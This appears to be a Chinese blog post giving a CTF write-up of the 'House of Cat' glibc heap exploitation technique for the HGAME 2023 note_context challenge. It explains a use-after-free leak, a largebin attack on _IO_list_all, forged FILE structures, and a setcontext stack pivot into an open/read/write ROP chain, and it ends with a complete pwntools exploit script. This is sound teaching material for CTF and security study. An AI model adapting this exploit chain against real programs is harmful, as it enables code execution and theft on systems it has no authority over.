house of cat 浅析 结合例题

House of cat

[[HGAME 2023 week3]note_context | NSSCTF]

这里只用house of cat 来打,其他方法也可以

法一:FSOP触发

调用链:

__GI_exit --> __run_exit_handlers --> _IO_cleanup --> _IO_wfile_seekoff --> _IO_switch_to_wget_mode
分析:

这个程序是保护全开,然后还过滤了execve和execveat这类函数,可以考虑ORW

image-20250610173105690

对于add函数只能申请大于0x4ff和小于0x900的chunk

image-20250610172536972

漏洞点:

image-20250610172736506

这里存在 UAF漏洞

利用过程:
泄露libc和heap:
	add(0,0x500)
	add(1,0x500)
	free(0)
	add(2,0x510)
	add(0,0x500)

	show(0)
	main_arena = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-1168
	libc_base = main_arena-0x1e3ba0
	io_wfile_jumps = libc_base+libc.sym['_IO_wfile_jumps']
	io_list_all = libc_base+libc.sym['_IO_list_all']
	setcontext = libc_base+libc.sym['setcontext']
	ret = libc_base+0x0000000000026699
	pop_rdi = libc_base+0x000000000002858f
	pop_rsi = libc_base+0x000000000002ac3f
	pop_rdx_r12 = libc_base+0x0000000000114161
	leak("libc_base",libc_base)
	edit(0,b"a"*16)
	show(0)
	heap_base = u64(io.recvuntil(b"\n")[-7:-1].ljust(8,b"\x00"))-0x290
	leak("heap_base",heap_base)

	add(3,0x500)
	add(4,0x500)

首先创建两个chunk,free掉chunk0后,chunk0进入unsortedbins ,然后申请一个0x510大小的chunk2,因为0x510大于0x500,导致chunk0进入largebins ,如下图:

image-20250610221122440

然后把largebin里面的chunk0申请回来,因为申请回来后chunk0中还是保留了main_arena+1168和heap的地址,泄露libc和heap地址

,之后再申请两个chunk为后续操作做准备。

first largebin attack:
	free(2)
	add(5,0x520)
	edit(2,p64(main_arena+1168)*2+p64(0)+p64(io_list_all-0x20))
	free(0)
	add(6,0x520)

利用largebin attack 在**_IO_list_all处写入一个堆地址,这里写入的堆地址是chunk0。(这里版本大于libc.2.31**,所以只能写入一个堆地址)

image-20250610222020316

构造fake IO_list_all:
	IO_wide_date_chunk = heap_base+0x16e0+0x10
	fake_io_file = p64(0)*2
	fake_io_file += p64(0)+p64(1)+p64(0)
	fake_io_file = fake_io_file.ljust(0xa0-0x10,b"\x00")
	fake_io_file += p64(IO_wide_date_chunk)
	fake_io_file = fake_io_file.ljust(0xc0-0x10,b"\x00")
	fake_io_file += p64(1)
	fake_io_file += p64(0)*2
	fake_io_file += p64(io_wfile_jumps+0x30)

	edit(0,fake_io_file)

这里编辑chunk0后伪造假的_IO_list_all。

image-20250610222342352

这里利用第二个判断进行FSOP,如果使用第一个判断后续我们无法控制rcx的值导致进入_IO_wfile_seekoff后mode为0.

e84f334978a948f68bf2b77e230f9ccd

d9651237d3f6a88296356fd7470ddd7b

利用第二个判断后,在进入到 IO_wfile_seekoff函数之前, 这里对rcx进行了赋值。用的是**(_IO_wide_data_2+24)_IO_wide_data_2中的 _IO_write_base字段的值,在这前面的部分都没有对rcx赋值,且在进入_IO_flush_all_lockp函数rcx的值为0**。

这里把rcx赋值为1后,进入_IO_wfile_seekoff 后把mode赋值为一绕过mode==0的限制

0b75c388c794d0bc56d77049eaaa0d07

伪造 fake _wide_data:
	Stack_migration_chunk = heap_base+0x1bf0+0x10

	fake_wide_date = p64(0)*3
	fake_wide_date += p64(1)	#write_base
	fake_wide_date += p64(IO_wide_date_chunk)  #set rdx    write_ptr
	fake_wide_date = fake_wide_date.ljust(0xa0,b"\x00")
	fake_wide_date += p64(Stack_migration_chunk+0x20) #set rsp
	fake_wide_date += p64(ret)
	fake_wide_date = fake_wide_date.ljust(0xe0,b"\x00")
	fake_wide_date += p64(Stack_migration_chunk) #fake wide_vtable

	edit(4,fake_wide_date)

image-20250610233456516

这样构造的原因是:

在进入 _IO_wfile_seekoff 函数后 使得 fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) || _IO_in_put_mode(fp) 成立 即可进入 _IO_switch_to_wget_mode 函数。

_IO_wfile_seekoff函数的源码如下

off64_t
_IO_wfile_seekoff(FILE *fp, off64_t offset, int dir, int mode)
{
  off64_t result;
  off64_t delta, new_offset;
  long int count;

  /* Short-circuit into a separate function.  We don't want to mix any
     functionality and we don't want to touch anything inside the FILE
     object. */
  if (mode == 0) // 要绕过这个判断 mode 不能为 0
    return do_ftell_wide(fp);

  /* POSIX.1 8.2.3.7 says that after a call the fflush() the file
     offset of the underlying file must be exact.  */
  int must_be_exact = ((fp->_wide_data->_IO_read_base == fp->_wide_data->_IO_read_end) && (fp->_wide_data->_IO_write_base == fp->_wide_data->_IO_write_ptr));

  bool was_writing = ((fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) || _IO_in_put_mode(fp)); // 给was_writing赋值

  /* Flush unwritten characters.
     (This may do an unneeded write if we seek within the buffer.
     But to be able to switch to reading, we would need to set
     egptr to pptr.  That can't be done in the current design,
     which assumes file_ptr() is eGptr.  Anyway, since we probably
     end up flushing when we close(), it doesn't make much difference.)
     FIXME: simulate mem-mapped files. */
  if (was_writing && _IO_switch_to_wget_mode(fp)) // was_writing为1时会调用_IO_switch_to_wget_mode函数,传入的第一个参数是当前的FILE
    return WEOF;


_IO_switch_to_wget_mode函数的源码如下

函数在第一个判断条件成立后会调用_IO_WOVERFLOW函数,并传入当前FILE地址,所以rdi是fp的地址。仔细看,这里的判断条件和上上面 _IO_wfile_seekoff的判断条件是一样的。所以伪造IO_FILE是只用满足该条件即可

    int _IO_switch_to_wget_mode(FILE *fp)
{
  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
    if ((wint_t)_IO_WOVERFLOW(fp, WEOF) == WEOF)   #主要看这里
      return EOF;
  if (_IO_in_backup(fp))
    fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_backup_base;
  else
  {
    fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_buf_base;
    if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_read_end)
      fp->_wide_data->_IO_read_end = fp->_wide_data->_IO_write_ptr;
  }
  fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_write_ptr;

  fp->_wide_data->_IO_write_base = fp->_wide_data->_IO_write_ptr = fp->_wide_data->_IO_write_end = fp->_wide_data->_IO_read_ptr;

  fp->_flags &= ~_IO_CURRENTLY_PUTTING;
  return 0;
}

这里重点观察 _IO_switch_to_wget_mode 的汇编代码

1ec01c149d480a430a055aa4113cea63

因为后面我们要打栈迁移 ,要用setcontext函数,而libc2.29以后setcontext函数由rdx来给各个寄存器传参

33e820d57a7b5e47c3570f7b6cbc3e80

为了栈迁移我们只需要控制 rsp即可,但是后面有个push rcx 我们还要把rcx设置为ret的地址。

所以综上的分析,我们把 :

  1. write_base 设置为 1 绕过mode==0的限制

  2. write_ptr 设置为 fp->_wide_data 一样的值,既能绕过 fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base 又能把 这个值赋值给 rdx

  3. 然后再 fp->_wide_data 0xa0偏移处设置 栈迁移的 rsp值 ,把栈迁移到我们想要的位置

  4. fp->_wide_data 0xa8 处放一个ret的地址 ,因为push rcx后会把rcx压入栈,这个值必须是ret

  5. fp->_wide_data 0xe0 处放要迁移的地址,并且这个地址+0x18处是 setcontext+61的地址

image-20250611000843605

ORW
	open_file_chunk_addr = heap_base+0x2120+0x10  #chunk 6
	edit(6,b"flag"+p32(0))
	ROP = flat(pop_rdi,open_file_chunk_addr,pop_rsi,0,libc.sym['open']+libc_base)
	ROP += flat(pop_rdi,3,pop_rsi,open_file_chunk_addr+0x100,pop_rdx_r12,0x50,0,libc_base+libc.sym['read'])
	ROP += flat(pop_rdi,1,pop_rsi,open_file_chunk_addr+0x100,pop_rdx_r12,0x50,0,libc_base+libc.sym['write'])
	payload = p64(0)*3+p64(setcontext+61)+ROP
	edit(5,payload)

	# gdb.attach(io,'b *_IO_wfile_seekoff')

	Exit()

这里向栈迁移处的地址内写入 我们的 payload。来打orw

image-20250611001342837

完整exp:
from pwn import *
from LibcSearcher import *

context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./vuln"
elf = ELF(pwnfile)
libc = ELF("./libc/libc-2.32.so")


s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} ---------------->>>:  {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

def add(idx,size):
	sla(b">",b"1")
	sla(b"Index: ",str(idx))
	sla(b"Size: ",str(size))

def free(idx):
	sla(b">",b"2")
	sla(b"Index: ",str(idx))


def edit(idx,data):
	sla(b">",b"3")
	sla(b"Index: ",str(idx))
	ru(b"Content: ")
	s(data)

def show(idx):
	sla(b">",b"4")
	sla(b"Index: ",str(idx))


def Exit():
	sla(b">",b"5")



def pwn():
	#==========leak 
	add(0,0x500)
	add(1,0x500)
	free(0)
	add(2,0x510)	
	add(0,0x500)

	show(0)
	main_arena = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-1168
	libc_base = main_arena-0x1e3ba0
	io_wfile_jumps = libc_base+libc.sym['_IO_wfile_jumps']
	io_list_all = libc_base+libc.sym['_IO_list_all']
	setcontext = libc_base+libc.sym['setcontext']
	ret = libc_base+0x0000000000026699
	pop_rdi = libc_base+0x000000000002858f
	pop_rsi = libc_base+0x000000000002ac3f
	pop_rdx_r12 = libc_base+0x0000000000114161
	leak("libc_base",libc_base)
	edit(0,b"a"*16)
	show(0)
	heap_base = u64(io.recvuntil(b"\n")[-7:-1].ljust(8,b"\x00"))-0x290
	leak("heap_base",heap_base)

	add(3,0x500)
	add(4,0x500)

	#======== largebin attack

	free(2)
	add(5,0x520)
	edit(2,p64(main_arena+1168)*2+p64(0)+p64(io_list_all-0x20))
	free(0)
	add(6,0x520)


	#======= fake IO_list_all
	IO_wide_date_chunk = heap_base+0x16e0+0x10
	fake_io_file = p64(0)*2
	fake_io_file += p64(0)+p64(1)+p64(0)
	fake_io_file = fake_io_file.ljust(0xa0-0x10,b"\x00")
	fake_io_file += p64(IO_wide_date_chunk)
	fake_io_file = fake_io_file.ljust(0xc0-0x10,b"\x00")
	fake_io_file += p64(1)
	fake_io_file += p64(0)*2
	fake_io_file += p64(io_wfile_jumps+0x30)

	edit(0,fake_io_file)

	#========fake _wide_data
	Stack_migration_chunk = heap_base+0x1bf0+0x10

	fake_wide_date = p64(0)*3
	fake_wide_date += p64(1)	#write_base
	fake_wide_date += p64(IO_wide_date_chunk)  #rdx
	fake_wide_date = fake_wide_date.ljust(0xa0,b"\x00")
	fake_wide_date += p64(Stack_migration_chunk+0x20) #set rsp
	fake_wide_date += p64(ret)
	fake_wide_date = fake_wide_date.ljust(0xe0,b"\x00")
	fake_wide_date += p64(Stack_migration_chunk) #fake wide_vtable

	edit(4,fake_wide_date)

	#========= ROP

	open_file_chunk_addr = heap_base+0x2120+0x10  #chunk 6
	edit(6,b"flag"+p32(0))
	ROP = flat(pop_rdi,open_file_chunk_addr,pop_rsi,0,libc.sym['open']+libc_base)
	ROP += flat(pop_rdi,3,pop_rsi,open_file_chunk_addr+0x100,pop_rdx_r12,0x50,0,libc_base+libc.sym['read'])
	ROP += flat(pop_rdi,1,pop_rsi,open_file_chunk_addr+0x100,pop_rdx_r12,0x50,0,libc_base+libc.sym['write'])
	payload = p64(0)*3+p64(setcontext+61)+ROP
	edit(5,payload)

	# gdb.attach(io,'b *_IO_wfile_seekoff')

	Exit()
	itr()



if __name__ == "__main__":
	while True:
		io = process(pwnfile)
		try:
			pwn()
		except:
			io.close()


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

saulgoodman-q

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值